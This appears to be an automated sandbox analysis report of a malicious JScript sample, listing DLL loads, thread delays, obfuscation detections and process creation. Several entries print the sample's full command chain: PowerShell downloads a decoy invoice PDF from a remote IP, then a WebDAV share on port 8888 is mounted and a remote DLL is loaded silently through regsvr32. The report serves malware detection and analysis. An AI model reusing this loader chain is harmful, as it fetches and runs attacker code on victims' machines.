Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6443.js.csv");ITextStream.WriteLine(" entry:8398 f:feutcsoep");ITextStream.WriteLine(" exec:2 f:feutcsoep");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4304			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5578			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2120	Thread sleep count: 4304 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2020	Thread sleep count: 5578 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2980	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1476	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7368	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7648	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 0000000C.00000002.1347492865.000001F361D08000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1347492865.000001F361D71000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2579657795.0000027D6B62B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2580879042.0000027D70C42000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2580918294.0000027D70C54000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

